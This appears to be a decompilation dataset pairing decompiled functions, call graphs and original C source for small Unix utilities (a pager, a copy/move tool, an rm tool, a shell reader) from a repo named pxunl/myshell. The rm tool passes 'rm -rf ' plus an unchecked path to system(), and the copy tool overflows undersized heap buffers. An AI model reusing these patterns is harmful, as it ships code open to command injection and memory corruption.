"argc", "int" ], [ "argv", "char *[]" ] ], "return_type": "int", "user_defined_types": [], "binary_hash": "33b71333f40af1006de9757e3691b12d91e41250ab8207f41be8326cf9bbef5b" } ]
383f911249be560fc7e752e1b99f12848db78840bffa88ebaa7c91cbf99addd4
pxunl/myshell
[ [ "sub_401020", "->" ], [ "start", "->" ], [ "dl_relocate_static_pie", "->" ], [ "deregister_tm_clones", "->", "_do_global_dtors_aux" ], [ "register_tm_clones", "->", "frame_dummy" ], [ "_do_global_dtors_aux", "->", "deregister_tm_clones" ], [ "frame_dummy", "->", "register_tm_clones" ], [ "main", "->", "pr_winsize", "do_more" ], [ "do_more", "->", "main", "see_more", "noneprint" ], [ "see_more", "->", "do_more", "noneprint" ], [ "noneprint", "->", "do_more", "see_more" ], [ "pr_winsize", "->", "main", "sig_winch" ], [ "sig_winch", "->", "pr_winsize" ], [ "_libc_csu_init", "->" ], [ "_libc_csu_fini", "->" ] ]
[ [ "sub_401020", "__int64 func0()\n{\nreturn qword_404010();\n}" ], [ "start", "void __fastcall __noreturn func1(__int64 a1, __int64 a2, void (*a3)(void))\n{\n__int64 v3; // rax\nint v4; // esi\n__int64 v5; // [rsp-8h] [rbp-8h] BYREF\nchar *retaddr; // [rsp+0h] [rbp+0h] BYREF\n\nv4 = v5;\nv5 = v3;\n_libc_start_main(\n(int (__fastcall *)(int, char **, char **))main,\nv4,\n&retaddr,\n_libc_csu_init,\n_libc_csu_fini,\na3,\n&v5);\n__halt();\n}" ], [ "dl_relocate_static_pie", "void func2()\n{\n;\n}" ], [ "deregister_tm_clones", "FILE **func3()\n{\nreturn &_bss_start;\n}" ], [ "register_tm_clones", "__int64 func4()\n{\nreturn 0LL;\n}" ], [ "_do_global_dtors_aux", "FILE **func5()\n{\nFILE **result; // rax\n\nif ( !completed_0 )\n{\nresult = func3();\ncompleted_0 = 1;\n}\nreturn result;\n}" ], [ "frame_dummy", "__int64 func6()\n{\nreturn func4();\n}" ], [ "main", "int __cdecl main(int argc, const char **argv, const char **envp)\n{\nint v5; // [rsp+Ch] [rbp-14h]\nFILE *stream; // [rsp+18h] [rbp-8h]\n\nv5 = argc;\nif ( signal(28, sig_winch) == (__sighandler_t)-1LL )\nperror(\"Signal Error\");\nfunc10(1LL);\nif ( argc == 1 )\n{\nfunc7(stdin);\n}\nelse\n{\nwhile ( --v5 )\n{\nstream = fopen(*++argv, \"r\");\nif ( !stream )\nexit(1);\nfunc7(stream);\nfclose(stream);\n}\n}\nreturn 0;\n}" ], [ "do_more", "char *__fastcall func7(FILE *a1)\n{\nchar *result; // rax\nchar s[524]; // [rsp+10h] [rbp-220h] BYREF\nint v3; // [rsp+21Ch] [rbp-14h]\nFILE *v4; // [rsp+220h] [rbp-10h]\nint v5; // [rsp+22Ch] [rbp-4h]\n\nv5 = 0;\nv4 = fopen(\"/dev/tty\", \"r\");\nif ( !v4 )\nexit(1);\nwhile ( 1 )\n{\nresult = fgets(s, 512, a1);\nif ( !result )\nbreak;\nif ( v5 == (unsigned __int16)size - 2 )\n{\nv3 = func8(v4);\nresult = (char *)func9(0LL);\nif ( !v3 )\nreturn result;\nv5 -= v3;\n}\nif ( fputs(s, _bss_start) == -1 )\nexit(1);\n++v5;\n}\nreturn result;\n}" ], [ "see_more", "__int64 __fastcall func8(FILE *a1)\n{\nint v2; // [rsp+1Ch] [rbp-4h]\n\nsystem(\"stty -F /dev/tty cbreak\");\nprintf(\"/033[7m more? /033[m\");\nfunc9(1LL);\nwhile ( 1 )\n{\nv2 = getc(a1);\nif ( v2 == -1 )\nbreak;\nswitch ( v2 )\n{\ncase 113:\nprintf(\"/n\");\nreturn 0LL;\ncase 32:\nprintf(\"/n\");\nreturn (unsigned __int16)size;\ncase 10:\nprintf(\"/33[7D/33[K\");\nreturn 1LL;\n}\n}\nsystem(\"stty -F /dev/tty -cbreak\");\nreturn 0LL;\n}" ], [ "_libc_csu_init", "void __fastcall func12(unsigned int a1, __int64 a2, __int64 a3)\n{\nsigned __int64 v4; // rbp\n__int64 i; // rbx\n\ninit_proc();\nv4 = &_do_global_dtors_aux_fini_array_entry - &_frame_dummy_init_array_entry;\nif ( v4 )\n{\nfor ( i = 0LL; i != v4; ++i )\n((void (__fastcall *)(_QWORD, __int64, __int64))*(&_frame_dummy_init_array_entry + i))(a1, a2, a3);\n}\n}" ], [ "_libc_csu_fini", "void func13(void)\n{\n;\n}" ] ]
[ { "name": "noneprint", "canonical_name": "func9", "repo": "pxunl/myshell", "decompiled_code": "int __fastcall noneprint(int a1)\n{\nstruct termios v2; // [rsp+10h] [rbp-80h] BYREF\nstruct termios termios_p; // [rsp+50h] [rbp-40h] BYREF\n\nif ( tcgetattr(1, &termios_p) < 0 )\n{\nperror(\"Getting the attribute Error!\");\nexit(1);\n}\nv2 = termios_p;\nif ( a1 == 1 )\nv2.c_lflag &= 0xFFFFFFF7;\nelse\nv2.c_lflag |= 8u;\nreturn tcsetattr(1, 0, &v2);\n}\n", "canonical_decompiled_code": "int __fastcall func9(int a1)\n{\nstruct termios v2; // [rsp+10h] [rbp-80h] BYREF\nstruct termios termios_p; // [rsp+50h] [rbp-40h] BYREF\n\nif ( tcgetattr(1, &termios_p) < 0 )\n{\nperror(\"Getting the attribute Error!\");\nexit(1);\n}\nv2 = termios_p;\nif ( a1 == 1 )\nv2.c_lflag &= 0xFFFFFFF7;\nelse\nv2.c_lflag |= 8u;\nreturn tcsetattr(1, 0, &v2);\n}", "original_code": "void noneprint(int flag)\n{\n struct termios init_setting;\n struct termios pend_setting;\n if (tcgetattr(1, &init_setting) < 0)\n {\n perror(\"Getting the attribute Error!\");\n exit (1);\n }\n pend_setting = init_setting;\n if(flag == 1)\n pend_setting.c_lflag &= ~0000010;\n else\n pend_setting.c_lflag |= 0000010;\n tcsetattr (1, 0, &pend_setting);\n}", "canonical_original_code": "void noneprint(int flag)\n{\n struct termios init_setting;\n struct termios pend_setting;\n if (tcgetattr(1, &init_setting) < 0)\n {\n perror(\"Getting the attribute Error!\");\n exit (1);\n }\n pend_setting = init_setting;\n if(flag == 1)\n pend_setting.c_lflag &= ~0000010;\n else\n pend_setting.c_lflag |= 0000010;\n tcsetattr (1, 0, &pend_setting);\n}", "variable_types": [ [ "flag", "int" ], [ "init_setting", "struct termios { unsigned int c_iflag; unsigned int c_oflag; unsigned int c_cflag; unsigned int c_lflag; unsigned char c_line; unsigned char c_cc[32]; unsigned int c_ispeed; unsigned int c_ospeed; }" ], [ "pend_setting", "struct termios { unsigned int c_iflag; unsigned int c_oflag; unsigned int c_cflag; unsigned int c_lflag; unsigned char c_line; unsigned char c_cc[32]; unsigned int c_ispeed; unsigned int c_ospeed; }" ] ], "return_type": "void", "user_defined_types": [ "struct termios { unsigned int c_iflag; unsigned int c_oflag; unsigned int c_cflag; unsigned int c_lflag; unsigned char c_line; unsigned char c_cc[32]; unsigned int c_ispeed; unsigned int c_ospeed; }" ], "binary_hash": "383f911249be560fc7e752e1b99f12848db78840bffa88ebaa7c91cbf99addd4" }, { "name": "pr_winsize", "canonical_name": "func10", "repo": "pxunl/myshell", "decompiled_code": "void __fastcall pr_winsize(int a1)\n{\nif ( ioctl(a1, 0x5413uLL, &size) < 0 )\nperror(\"TIOCGWINSZ Error!\");\n}\n", "canonical_decompiled_code": "void __fastcall func10(int a1)\n{\nif ( ioctl(a1, 0x5413uLL, &size) < 0 )\nperror(\"TIOCGWINSZ Error!\");\n}", "original_code": "static void pr_winsize(int fd)\n{\n if(ioctl(fd,0x5413, (char *)&size) < 0)\n {\n perror(\"TIOCGWINSZ Error!\");\n }\n}", "canonical_original_code": "static void pr_winsize(int fd)\n{\n if(ioctl(fd,0x5413, (char *)&size) < 0)\n {\n perror(\"TIOCGWINSZ Error!\");\n }\n}", "variable_types": [ [ "fd", "int" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "383f911249be560fc7e752e1b99f12848db78840bffa88ebaa7c91cbf99addd4" }, { "name": "sig_winch", "canonical_name": "func11", "repo": "pxunl/myshell", "decompiled_code": "void sig_winch()\n{\npr_winsize(1);\n}\n", "canonical_decompiled_code": "void func11()\n{\nfunc10(1);\n}", "original_code": "static void sig_winch(int signo)\n{\n pr_winsize(1);\n}", "canonical_original_code": "static void sig_winch(int signo)\n{\n pr_winsize(1);\n}", "variable_types": [ [ "signo", "int" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "383f911249be560fc7e752e1b99f12848db78840bffa88ebaa7c91cbf99addd4" } ]
41692097a4697b77bdd24f629b9b9082d01978b1e8ee72a147ef4fbc782a7a1d
pxunl/myshell
[ [ "sub_401020", "->" ], [ "start", "->" ], [ "dl_relocate_static_pie", "->" ], [ "deregister_tm_clones", "->", "_do_global_dtors_aux" ], [ "register_tm_clones", "->", "frame_dummy" ], [ "_do_global_dtors_aux", "->", "deregister_tm_clones" ], [ "frame_dummy", "->", "register_tm_clones" ], [ "main", "->", "do_copy" ], [ "do_copy", "->", "main", "stat", "copy_file" ], [ "copy_file", "->", "do_copy" ], [ "_libc_csu_init", "->" ], [ "_libc_csu_fini", "->" ], [ "stat", "->", "do_copy" ] ]
[ [ "sub_401020", "__int64 func0()\n{\nreturn qword_404010();\n}" ], [ "start", "void __fastcall __noreturn func1(__int64 a1, __int64 a2, void (*a3)(void))\n{\n__int64 v3; // rax\nint v4; // esi\n__int64 v5; // [rsp-8h] [rbp-8h] BYREF\nchar *retaddr; // [rsp+0h] [rbp+0h] BYREF\n\nv4 = v5;\nv5 = v3;\n_libc_start_main(\n(int (__fastcall *)(int, char **, char **))main,\nv4,\n&retaddr,\n_libc_csu_init,\n_libc_csu_fini,\na3,\n&v5);\n__halt();\n}" ], [ "dl_relocate_static_pie", "void func2()\n{\n;\n}" ], [ "deregister_tm_clones", "void *func3()\n{\nreturn &_bss_start;\n}" ], [ "register_tm_clones", "__int64 func4()\n{\nreturn 0LL;\n}" ], [ "_do_global_dtors_aux", "void *func5()\n{\nvoid *result; // rax\n\nif ( !completed_0 )\n{\nresult = func3();\ncompleted_0 = 1;\n}\nreturn result;\n}" ], [ "frame_dummy", "__int64 func6()\n{\nreturn func4();\n}" ], [ "do_copy", "__int64 __fastcall func7(char *a1, const char *a2)\n{\nsize_t v3; // rax\nsize_t v4; // rax\nsize_t v5; // rax\nsize_t v6; // rax\nsize_t v7; // rax\nsize_t v8; // rax\nstruct stat v9; // [rsp+10h] [rbp-B0h] BYREF\nstruct dirent *v10; // [rsp+A0h] [rbp-20h]\nDIR *dirp; // [rsp+A8h] [rbp-18h]\nchar *path; // [rsp+B0h] [rbp-10h]\nchar *dest; // [rsp+B8h] [rbp-8h]\n\nif ( !*a1 || !*a2 )\nreturn 0LL;\nv3 = strlen(a1);\ndest = (char *)malloc(v3);\nv4 = strlen(a2);\npath = (char *)malloc(v4);\nstrcpy(dest, a1);\nstrcpy(path, a2);\nif ( !strcmp(a1, \"-d\") )\nreturn 0LL;\nfunc11(a1, &v9);\nif ( (v9.st_mode & 0xF000) == 0x8000 )\n{\nfunc8(a1, a2);\nreturn 1LL;\n}\nif ( (v9.st_mode & 0xF000) == 0x4000 )\n{\nv5 = strlen(path);\n*(_WORD *)&path[v5] = 47;\nstrcat(path, a1);\nmkdir(path, 0x1C0u);\ndirp = opendir(a1);\nif ( !dirp )\n{\nfprintf(stderr, \"ils: cannot open %s\\n\", a1);\nreturn 0LL;\n}\nchdir(a1);\nwhile ( 1 )\n{\nv10 = readdir(dirp);\nif ( !v10 )\nbreak;\nfunc11(v10->d_name, &v9);\nif ( (v9.st_mode & 0xF000) != 0x4000 )\n{\nv8 = strlen(dest);\n*(_WORD *)&dest[v8] = 47;\nstrcat(dest, v10->d_name);\nchdir(\"..\");\nfunc8(dest, path);\nmemset(dest, 0, 8uLL);\nstrcpy(dest, a1);\nreturn 1LL;\n}\nif ( strcmp(\".\", v10->d_name) )\n{\nif ( strcmp(\"..\", v10->d_name) )\n{\nv6 = strlen(path);\n*(_WORD *)&path[v6] = 47;\nstrcat(path, v10->d_name);\nmkdir(path, 0x1C0u);\nv7 = strlen(dest);\n*(_WORD *)&dest[v7] = 47;\nstrcat(dest, v10->d_name);\nfunc7(dest, path);\nmemset(dest, 0, 8uLL);\nstrcpy(dest, a1);\nmemset(path, 0, 8uLL);\nstrcpy(path, a2);\n}\n}\n}\n}\nreturn 0LL;\n}" ], [ "_libc_csu_init", "void __fastcall func9(unsigned int a1, __int64 a2, __int64 a3)\n{\nsigned __int64 v4; // rbp\n__int64 i; // rbx\n\ninit_proc();\nv4 = &_do_global_dtors_aux_fini_array_entry - &_frame_dummy_init_array_entry;\nif ( v4 )\n{\nfor ( i = 0LL; i != v4; ++i )\n((void (__fastcall *)(_QWORD, __int64, __int64))*(&_frame_dummy_init_array_entry + i))(a1, a2, a3);\n}\n}" ], [ "_libc_csu_fini", "void func10(void)\n{\n;\n}" ], [ "stat", "int __fastcall func11(char *filename, struct stat *stat_buf)\n{\nreturn __xstat(1, filename, stat_buf);\n}" ] ]
[ { "name": "copy_file", "canonical_name": "func8", "repo": "pxunl/myshell", "decompiled_code": "int __fastcall copy_file(const char *a1, char *a2)\n{\nchar *src; // [rsp+18h] [rbp-8h]\n\nsrc = strrchr(a1, 47);\n*(_WORD *)&a2[strlen(a2)] = 47;\nif ( src )\nstrcat(a2, src + 1);\nelse\nstrcat(a2, a1);\nreturn rename(a1, a2);\n}\n", "canonical_decompiled_code": "int __fastcall func8(const char *a1, char *a2)\n{\nchar *src; // [rsp+18h] [rbp-8h]\n\nsrc = strrchr(a1, 47);\n*(_WORD *)&a2[strlen(a2)] = 47;\nif ( src )\nstrcat(a2, src + 1);\nelse\nstrcat(a2, a1);\nreturn rename(a1, a2);\n}", "original_code": "void copy_file(char *src, char *dest)\n{\n char *new_file = ((void *)0);\n if ((new_file = strrchr(src, '/')) == ((void *)0))\n {\n strcat(dest, \"/\");\n strcat(dest, src);\n }\n else\n {\n strcat(dest, \"/\");\n new_file++;\n strcat(dest, new_file);\n }\n rename(src, dest);\n}", "canonical_original_code": "void copy_file(char *src, char *dest)\n{\n char *new_file = ((void *)0);\n if ((new_file = strrchr(src, '/')) == ((void *)0))\n {\n strcat(dest, \"/\");\n strcat(dest, src);\n }\n else\n {\n strcat(dest, \"/\");\n new_file++;\n strcat(dest, new_file);\n }\n rename(src, dest);\n}", "variable_types": [ [ "src", "char *" ], [ "dest", "char *" ], [ "new_file", "char *" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "41692097a4697b77bdd24f629b9b9082d01978b1e8ee72a147ef4fbc782a7a1d" }, { "name": "main", "canonical_name": "main", "repo": "pxunl/myshell", "decompiled_code": "int __cdecl main(int argc, const char **argv, const char **envp)\n{\nint i; // [rsp+1Ch] [rbp-4h]\n\nif ( argc <= 2 )\n{\nperror(\"Usage: icp source dest\\n\");\nexit(1);\n}\nfor ( i = 1; i < argc - 1; ++i )\ndo_copy(argv[i], argv[argc - 1]);\nputs(\"Finish...\");\nreturn 0;\n}\n", "canonical_decompiled_code": "int __cdecl main(int argc, const char **argv, const char **envp)\n{\nint i; // [rsp+1Ch] [rbp-4h]\n\nif ( argc <= 2 )\n{\nperror(\"Usage: icp source dest\\n\");\nexit(1);\n}\nfor ( i = 1; i < argc - 1; ++i )\nfunc7(argv[i], argv[argc - 1]);\nputs(\"Finish...\");\nreturn 0;\n}", "original_code": "int main(int argc, char *argv[])\n{\n if (argc < 3)\n {\n perror(\"Usage: icp source dest\\n\");\n exit(1);\n }\n int i;\n for (i = 1; i < argc - 1; i++)\n {\n do_copy(argv[i], argv[argc-1]);\n }\n printf(\"Finish...\\n\");\n return 0;\n}", "canonical_original_code": "int main(int argc, char *argv[])\n{\n if (argc < 3)\n {\n perror(\"Usage: icp source dest\\n\");\n exit(1);\n }\n int i;\n for (i = 1; i < argc - 1; i++)\n {\n do_copy(argv[i], argv[argc-1]);\n }\n printf(\"Finish...\\n\");\n return 0;\n}", "variable_types": [ [ "argc", "int" ], [ "argv", "char *[]" ], [ "i", "int" ] ], "return_type": "int", "user_defined_types": [], "binary_hash": "41692097a4697b77bdd24f629b9b9082d01978b1e8ee72a147ef4fbc782a7a1d" } ]
49c015470145a04d14be390c4ceedf64993d0feaa0c6e7db658d700e4ae819aa
pxunl/myshell
[ [ "sub_401020", "->" ], [ "start", "->" ], [ "dl_relocate_static_pie", "->" ], [ "deregister_tm_clones", "->", "_do_global_dtors_aux" ], [ "register_tm_clones", "->", "frame_dummy" ], [ "_do_global_dtors_aux", "->", "deregister_tm_clones" ], [ "frame_dummy", "->", "register_tm_clones" ], [ "do_rm_files", "->", "main" ], [ "do_rm_empty_dirs", "->", "main" ], [ "do_rm_no_empty_dirs", "->", "main" ], [ "main", "->", "do_rm_no_empty_dirs", "do_rm_empty_dirs", "do_rm_files" ], [ "_libc_csu_init", "->" ], [ "_libc_csu_fini", "->" ] ]
[ [ "sub_401020", "__int64 func0()\n{\nreturn qword_404010();\n}" ], [ "start", "void __fastcall __noreturn func1(__int64 a1, __int64 a2, void (*a3)(void))\n{\n__int64 v3; // rax\nint v4; // esi\n__int64 v5; // [rsp-8h] [rbp-8h] BYREF\nchar *retaddr; // [rsp+0h] [rbp+0h] BYREF\n\nv4 = v5;\nv5 = v3;\n_libc_start_main(\n(int (__fastcall *)(int, char **, char **))main,\nv4,\n&retaddr,\n_libc_csu_init,\n_libc_csu_fini,\na3,\n&v5);\n__halt();\n}" ], [ "dl_relocate_static_pie", "void func2()\n{\n;\n}" ], [ "deregister_tm_clones", "char *func3()\n{\nreturn &_bss_start;\n}" ], [ "register_tm_clones", "__int64 func4()\n{\nreturn 0LL;\n}" ], [ "_do_global_dtors_aux", "char *func5()\n{\nchar *result; // rax\n\nif ( !_bss_start )\n{\nresult = func3();\n_bss_start = 1;\n}\nreturn result;\n}" ], [ "frame_dummy", "__int64 func6()\n{\nreturn func4();\n}" ], [ "_libc_csu_init", "void __fastcall func10(unsigned int a1, __int64 a2, __int64 a3)\n{\nsigned __int64 v4; // rbp\n__int64 i; // rbx\n\ninit_proc();\nv4 = &_do_global_dtors_aux_fini_array_entry - &_frame_dummy_init_array_entry;\nif ( v4 )\n{\nfor ( i = 0LL; i != v4; ++i )\n((void (__fastcall *)(_QWORD, __int64, __int64))*(&_frame_dummy_init_array_entry + i))(a1, a2, a3);\n}\n}" ], [ "_libc_csu_fini", "void func11(void)\n{\n;\n}" ] ]
[ { "name": "do_rm_files", "canonical_name": "func7", "repo": "pxunl/myshell", "decompiled_code": "int __fastcall do_rm_files(const char *a1)\n{\nint result; // eax\n\nif ( *a1 )\nresult = remove(a1);\nelse\nresult = -1;\nreturn result;\n}\n", "canonical_decompiled_code": "int __fastcall func7(const char *a1)\n{\nint result; // eax\n\nif ( *a1 )\nresult = remove(a1);\nelse\nresult = -1;\nreturn result;\n}", "original_code": "int do_rm_files(char *file)\n{\n if (!(*file))\n {\n return -1;\n }\n return remove(file);\n}", "canonical_original_code": "int do_rm_files(char *file)\n{\n if (!(*file))\n {\n return -1;\n }\n return remove(file);\n}", "variable_types": [ [ "file", "char *" ] ], "return_type": "int", "user_defined_types": [], "binary_hash": "49c015470145a04d14be390c4ceedf64993d0feaa0c6e7db658d700e4ae819aa" }, { "name": "do_rm_empty_dirs", "canonical_name": "func8", "repo": "pxunl/myshell", "decompiled_code": "int __fastcall do_rm_empty_dirs(const char *a1)\n{\nint result; // eax\n\nif ( *a1 )\nresult = rmdir(a1);\nelse\nresult = -1;\nreturn result;\n}\n", "canonical_decompiled_code": "int __fastcall func8(const char *a1)\n{\nint result; // eax\n\nif ( *a1 )\nresult = rmdir(a1);\nelse\nresult = -1;\nreturn result;\n}", "original_code": "int do_rm_empty_dirs(char *dir)\n{\n if (!(*dir))\n {\n return -1;\n }\n return rmdir(dir);\n}", "canonical_original_code": "int do_rm_empty_dirs(char *dir)\n{\n if (!(*dir))\n {\n return -1;\n }\n return rmdir(dir);\n}", "variable_types": [ [ "dir", "char *" ] ], "return_type": "int", "user_defined_types": [], "binary_hash": "49c015470145a04d14be390c4ceedf64993d0feaa0c6e7db658d700e4ae819aa" }, { "name": "do_rm_no_empty_dirs", "canonical_name": "func9", "repo": "pxunl/myshell", "decompiled_code": "int __fastcall do_rm_no_empty_dirs(const char *a1)\n{\nsize_t v2; // rax\nchar *dest; // [rsp+18h] [rbp-8h]\n\nif ( !*a1 )\nreturn -1;\nv2 = strlen(a1);\ndest = (char *)malloc(v2 + 8);\n*(_QWORD *)dest = 0x2066722D206D72LL;\nstrcat(dest, a1);\nreturn system(dest);\n}\n", "canonical_decompiled_code": "int __fastcall func9(const char *a1)\n{\nsize_t v2; // rax\nchar *dest; // [rsp+18h] [rbp-8h]\n\nif ( !*a1 )\nreturn -1;\nv2 = strlen(a1);\ndest = (char *)malloc(v2 + 8);\n*(_QWORD *)dest = 0x2066722D206D72LL;\nstrcat(dest, a1);\nreturn system(dest);\n}", "original_code": "int do_rm_no_empty_dirs(char *dir)\n{\n if (!(*dir))\n {\n return -1;\n }\n char *cmd = (char *)malloc(sizeof(char) * (8 + strlen(dir)));\n strcpy(cmd, \"rm -rf \");\n strcat(cmd, dir);\n return system(cmd);\n}", "canonical_original_code": "int do_rm_no_empty_dirs(char *dir)\n{\n if (!(*dir))\n {\n return -1;\n }\n char *cmd = (char *)malloc(sizeof(char) * (8 + strlen(dir)));\n strcpy(cmd, \"rm -rf \");\n strcat(cmd, dir);\n return system(cmd);\n}", "variable_types": [ [ "dir", "char *" ], [ "cmd", "char *" ] ], "return_type": "int", "user_defined_types": [], "binary_hash": "49c015470145a04d14be390c4ceedf64993d0feaa0c6e7db658d700e4ae819aa" }, { "name": "main", "canonical_name": "main", "repo": "pxunl/myshell", "decompiled_code": "int __cdecl main(int argc, const char **argv, const char **envp)\n{\nint v4; // [rsp+14h] [rbp-Ch]\nint v5; // [rsp+18h] [rbp-8h]\nint i; // [rsp+1Ch] [rbp-4h]\nint j; // [rsp+1Ch] [rbp-4h]\n\nif ( argc <= 1 )\n{\nperror(\"Usage: missing directory or file names\\n\");\nexit(1);\n}\nv5 = 0;\nv4 = 0;\nfor ( i = 1; i < argc; ++i )\n{\nif ( strstr(argv[i], \"-d\") )\n{\nv5 = 1;\n}\nelse if ( strstr(argv[i], \"-D\") )\n{\nv4 = 1;\n}\n}\nfor ( j = 1; j < argc; ++j )\n{\nif ( strcmp(argv[j], \"-d\") && strcmp(argv[j], \"-D\") )\n{\nif ( v4 == 1 )\n{\nif ( do_rm_no_empty_dirs(argv[j]) != -1 )\ncontinue;\nLABEL_15:\nprintf(\"\\nUnable to delete directory %s\\n\", argv[j]);\ncontinue;\n}\nif ( v5 == 1 )\n{\nif ( do_rm_empty_dirs(argv[j]) == -1 )\ngoto LABEL_15;\n}\nelse if ( do_rm_files(argv[j]) )\n{\nprintf(\"unable to delete file %s, maybe it's a none empty directory\\n\", argv[j]);\n}\n}\n}\nputs(\"Finish...\");\nreturn 0;\n}\n", "canonical_decompiled_code": "int __cdecl main(int argc, const char **argv, const char **envp)\n{\nint v4; // [rsp+14h] [rbp-Ch]\nint v5; // [rsp+18h] [rbp-8h]\nint i; // [rsp+1Ch] [rbp-4h]\nint j; // [rsp+1Ch] [rbp-4h]\n\nif ( argc <= 1 )\n{\nperror(\"Usage: missing directory or file names\\n\");\nexit(1);\n}\nv5 = 0;\nv4 = 0;\nfor ( i = 1; i < argc; ++i )\n{\nif ( strstr(argv[i], \"-d\") )\n{\nv5 = 1;\n}\nelse if ( strstr(argv[i], \"-D\") )\n{\nv4 = 1;\n}\n}\nfor ( j = 1; j < argc; ++j )\n{\nif ( strcmp(argv[j], \"-d\") && strcmp(argv[j], \"-D\") )\n{\nif ( v4 == 1 )\n{\nif ( func9(argv[j]) != -1 )\ncontinue;\nLABEL_15:\nprintf(\"\\nUnable to delete directory %s\\n\", argv[j]);\ncontinue;\n}\nif ( v5 == 1 )\n{\nif ( func8(argv[j]) == -1 )\ngoto LABEL_15;\n}\nelse if ( func7(argv[j]) )\n{\nprintf(\"unable to delete file %s, maybe it's a none empty directory\\n\", argv[j]);\n}\n}\n}\nputs(\"Finish...\");\nreturn 0;\n}", "original_code": "int main(int argc, char *argv[])\n{\n if (argc < 2)\n {\n perror(\"Usage: missing directory or file names\\n\");\n exit(1);\n }\n int i;\n int rm_empty_flag = 0;\n int rm_no_empty_flag = 0;\n for (i = 1; i < argc; i++)\n {\n if (strstr(argv[i], \"-d\") != ((void *)0))\n {\n rm_empty_flag = 1;\n }\n else if (strstr(argv[i], \"-D\") != ((void *)0))\n {\n rm_no_empty_flag = 1;\n }\n }\n for (i = 1; i < argc; i++)\n {\n if (strcmp(argv[i], \"-d\") == 0 || strcmp(argv[i], \"-D\") == 0)\n {\n continue;\n }\n if (1 == rm_no_empty_flag)\n {\n if (do_rm_no_empty_dirs(argv[i]) == -1)\n {\n printf(\"\\nUnable to delete directory %s\\n\", argv[i]);\n }\n }\n else if (0 == rm_no_empty_flag && 1 == rm_empty_flag)\n {\n if (do_rm_empty_dirs(argv[i]) == -1)\n {\n printf(\"\\nUnable to delete directory %s\\n\", argv[i]);\n }\n }\n else if (0 == rm_empty_flag && 0 == rm_no_empty_flag)\n {\n if (do_rm_files(argv[i]) != 0)\n {\n printf(\"unable to delete file %s, maybe it's a none empty directory\\n\", argv[i]);\n }\n }\n }\n printf(\"Finish...\\n\");\n return 0;\n}", "canonical_original_code": "int main(int argc, char *argv[])\n{\n if (argc < 2)\n {\n perror(\"Usage: missing directory or file names\\n\");\n exit(1);\n }\n int i;\n int rm_empty_flag = 0;\n int rm_no_empty_flag = 0;\n for (i = 1; i < argc; i++)\n {\n if (strstr(argv[i], \"-d\") != ((void *)0))\n {\n rm_empty_flag = 1;\n }\n else if (strstr(argv[i], \"-D\") != ((void *)0))\n {\n rm_no_empty_flag = 1;\n }\n }\n for (i = 1; i < argc; i++)\n {\n if (strcmp(argv[i], \"-d\") == 0 || strcmp(argv[i], \"-D\") == 0)\n {\n continue;\n }\n if (1 == rm_no_empty_flag)\n {\n if (do_rm_no_empty_dirs(argv[i]) == -1)\n {\n printf(\"\\nUnable to delete directory %s\\n\", argv[i]);\n }\n }\n else if (0 == rm_no_empty_flag && 1 == rm_empty_flag)\n {\n if (do_rm_empty_dirs(argv[i]) == -1)\n {\n printf(\"\\nUnable to delete directory %s\\n\", argv[i]);\n }\n }\n else if (0 == rm_empty_flag && 0 == rm_no_empty_flag)\n {\n if (do_rm_files(argv[i]) != 0)\n {\n printf(\"unable to delete file %s, maybe it's a none empty directory\\n\", argv[i]);\n }\n }\n }\n printf(\"Finish...\\n\");\n return 0;\n}", "variable_types": [ [ "argc", "int" ], [ "argv", "char *[]" ], [ "i", "int" ], [ "rm_empty_flag", "int" ], [ "rm_no_empty_flag", "int" ] ], "return_type": "int", "user_defined_types": [], "binary_hash": "49c015470145a04d14be390c4ceedf64993d0feaa0c6e7db658d700e4ae819aa" } ]
4fcd30789961d0269acea113c9ac67846a5279fc9f60f2759e66ee0531cbc492
pxunl/myshell
[ [ "fatal", "->", "emalloc", "erealloc" ], [ "emalloc", "->", "fatal", "read_command", "create_str", "spiltline" ], [ "erealloc", "->", "fatal", "read_command", "spiltline" ], [ "read_command", "->", "erealloc", "emalloc" ], [ "create_str", "->", "emalloc", "spiltline" ], [ "spiltline", "->", "emalloc", "erealloc", "create_str" ], [ "free_list", "->" ] ]
[ [ "read_command", "void *__fastcall func3(FILE *a1)\n{\nint v1; // eax\nint v3; // [rsp+1Ch] [rbp-14h]\nint v4; // [rsp+20h] [rbp-10h]\nint v5; // [rsp+24h] [rbp-Ch]\nvoid *v6; // [rsp+28h] [rbp-8h]\n\nv5 = 0;\nv4 = 0;\nputs(\"#\");\nwhile ( 1 )\n{\nv3 = getc(a1);\nif ( v3 == -1 )\nbreak;\nif ( v5 <= v4 + 1 )\n{\nif ( v5 )\nv6 = func2(v6, v5 + 128);\nelse\nv6 = func1(0x80uLL);\nv5 += 128;\n}\nif ( v3 == 10 )\nbreak;\nv1 = v4++;\n*((_BYTE *)v6 + v1) = v3;\n}\nif ( v3 == -1 && !v4 )\nreturn 0LL;\n*((_BYTE *)v6 + v4) = 0;\nreturn v6;\n}" ] ]
[ { "name": "fatal", "canonical_name": "func0", "repo": "pxunl/myshell", "decompiled_code": "void __fastcall __noreturn fatal(const char *a1, const char *a2, int a3)\n{\nfprintf(stderr, \"Error: %s %s\\n\", a1, a2);\nexit(a3);\n}\n", "canonical_decompiled_code": "void __fastcall __noreturn func0(const char *a1, const char *a2, int a3)\n{\nfprintf(stderr, \"Error: %s %s\\n\", a1, a2);\nexit(a3);\n}", "original_code": "void fatal(char *str_err, char *str_error, int exit_code)\n{\n fprintf(stderr, \"Error: %s %s\\n\", str_err, str_error);\n exit(exit_code);\n}", "canonical_original_code": "void fatal(char *str_err, char *str_error, int exit_code)\n{\n fprintf(stderr, \"Error: %s %s\\n\", str_err, str_error);\n exit(exit_code);\n}", "variable_types": [ [ "str_err", "char *" ], [ "str_error", "char *" ], [ "exit_code", "int" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "4fcd30789961d0269acea113c9ac67846a5279fc9f60f2759e66ee0531cbc492" }, { "name": "emalloc", "canonical_name": "func1", "repo": "pxunl/myshell", "decompiled_code": "void *__fastcall emalloc(size_t a1)\n{\nvoid *v2; // [rsp+18h] [rbp-8h]\n\nv2 = malloc(a1);\nif ( !v2 )\nfatal(\"out of memory!\\n\", (const char *)&unk_396, 1);\nreturn v2;\n}\n", "canonical_decompiled_code": "void *__fastcall func1(size_t a1)\n{\nvoid *v2; // [rsp+18h] [rbp-8h]\n\nv2 = malloc(a1);\nif ( !v2 )\nfunc0(\"out of memory!\\n\", (const char 